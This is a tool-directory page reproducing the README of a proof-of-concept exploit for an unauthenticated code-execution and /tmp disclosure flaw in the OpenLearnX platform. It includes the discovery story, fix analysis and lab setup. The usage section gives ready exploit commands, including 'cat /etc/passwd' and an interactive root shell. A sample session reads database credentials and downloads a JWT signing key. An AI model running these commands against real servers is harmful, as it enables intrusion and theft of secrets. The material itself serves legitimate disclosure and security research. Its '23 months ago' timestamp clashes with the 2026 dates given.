Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41900-POC — Proof-of-concept exploit for CVE-2026-41900, an unauthenticated remote code execution in OpenLearnX via container volume mount, enabling /tmp disclosure and command execution. | Kitploit
Tools/GitHubGitHub/christbowel/cve-2026-41900-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingContainer Escape
GitHubchristbowel/cve-2026-41900-poc

CVE-2026-41900-POC

Proof-of-concept exploit for CVE-2026-41900, an unauthenticated remote code execution in OpenLearnX via container volume mount, enabling /tmp disclosure and command execution.

View Repository
23 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

OpenLearnX-RCE

hacking

OpenLearnX Unauthenticated RCE via Container Volume Mount

Diff-based discovery → Silent patch → Sandbox escape → Full /tmp disclosure

PropertyValue
NameOpenLearnX-RCE
CVECVE-2026-41900
GHSAGHSA-8h25-q488-4hxw
TypeUnauthenticated Info Disclosure / RCE
AffectedOpenLearnX < commit 14765d7
FixedCommit 14765d7 (real_compiler_service)
CVSS8.6 (High)
CWECWE-538, CWE-377, CWE-250

How I Found It

OSDC (my automated patch intelligence pipeline) flagged a silent advisory on OpenLearnX — GHSA-8h25-q488-4hxw dropped with zero technical details. I pulled the fix commit (14765d7) and diffed it against its parent (d19c4e4).

The diff told the whole story: execute_in_container() in backend/routes/coding.py was gutted and replaced by a hardened real_compiler_service. The old code wrote user-supplied code to a tempfile, then mounted os.path.dirname(temp_file) — which resolves to /tmp — into a sibling Docker container as a read-only volume. No user=, no cap_drop, no security_opt. Root by default.

The kicker: the compiler blueprint at /api/compiler/execute has no authentication decorator. Any unauthenticated request can trigger code execution through the vulnerable container setup.

I isolated the pre-patch code in a local lab, confirmed all vectors, and wrote this PoC.


Vulnerability Summary

root@kitploit:~
POST /api/compiler/execute  (no auth)
     │
     ▼
execute_in_container(user_code)
     │
     ├─ tempfile.NamedTemporaryFile(suffix='.py')  → /tmp/tmpXXXXXX.py
     │
     ├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
     │                     │
     │                     └─ resolves to /tmp → ENTIRE /tmp mounted into container
     │
     ├─ No user=        → runs as root (UID 0)
     ├─ No cap_drop     → default Docker capabilities
     ├─ No security_opt → default seccomp profile
     │
     └─ Attacker reads: secrets, creds, JWT keys, other users' submissions

Gadgets

GadgetSeverityCWEDescription
listingHIGHCWE-538Directory listing of /tmp via volume mount
secretsCRITICALCWE-538Read credentials, keys, configs from /tmp
submissionsHIGHCWE-538Read other students' code submissions
rootcheckMEDIUMCWE-250Confirm UID 0 (root) execution
capsMEDIUMCWE-250Dump effective Linux capabilities

Installation

root@kitploit:~
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# No dependencies — stdlib only
chmod +x exploit.py

Usage

root@kitploit:~
# Check if a target is vulnerable
python3 exploit.py --check http://target:5000

# Run all gadgets + generate evidence JSON
python3 exploit.py --exploit http://target:5000

# Execute a single command
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000

# Drop into interactive shell
python3 exploit.py --shell http://target:5000

# Run specific gadgets
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000

Shell Commands

Once inside --shell, you get a pseudo-interactive shell. Each command spawns a new ephemeral container.

root@kitploit:~
root@container:/app# id
uid=0(root) gid=0(root)

root@container:/app# ls -la /app/
total 28
-rw-r--r--  1 root root  121 May  6 openlearnx_db_creds.conf
-rw-r--r--  1 root root  235 May  6 jwt_signing_key.pem
-rw-r--r--  1 root root  298 May  6 student_submission_8842.py

root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx

root@container:/app# download jwt_signing_key.pem
  [+] Downloaded jwt_signing_key.pem (235B)

root@container:/app# exit

Lab Setup

To reproduce locally:

root@kitploit:~
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000

The lab deploys a containerized Flask app reproducing the pre-patch execute_in_container() with:

  • Docker socket mounted (sibling container pattern)
  • /tmp shared between host and app container
  • Seed files simulating secrets and student submissions

Fix Analysis

Commit 14765d7 replaced execute_in_container() with real_compiler_service which applies:

root@kitploit:~
container = docker_client.containers.run(
    image,
    volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}},  # isolated tmpdir per exec
    cap_drop=["ALL"],                                           # drop all capabilities
    security_opt=["no-new-privileges:true"],                    # prevent priv esc
    user="65534:65534",                                         # nobody, not root
    ...
)

Timeline

DateEvent
2026-04OSDC flags silent advisory GHSA-8h25-q488-4hxw
2026-04Diff analysis of commit 14765d7 vs parent d19c4e4
2026-05Lab reproduction and PoC development
2026-05-06Full PoC confirmed — all 5 vectors validated

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Only use against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal.


Christbowel · christbowel.com · Balgo Security Team

Download Tool